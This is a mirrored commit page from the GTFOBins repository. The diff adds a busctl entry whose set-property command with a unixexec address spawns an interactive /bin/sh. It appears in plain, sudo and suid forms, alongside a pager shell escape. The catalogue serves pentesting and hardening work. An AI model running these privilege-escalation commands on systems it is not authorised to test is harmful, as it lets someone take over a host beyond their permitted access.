1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-14 16:10:39 +02:00

Add another busctl shell

This commit is contained in:
Andrea Cardaci 2023-12-23 14:07:38 +01:00 committed by GitHub
commit 4eca50ea16
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,12 +1,16 @@
--- ---
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
functions: functions:
shell: shell:
- code: | - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: |
busctl --show-machine busctl --show-machine
!/bin/sh !/bin/sh
- code: |
busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'
sudo: sudo:
- code: | - code: |
sudo busctl --show-machine sudo busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'
!/bin/sh suid:
- code: |
./busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'
--- ---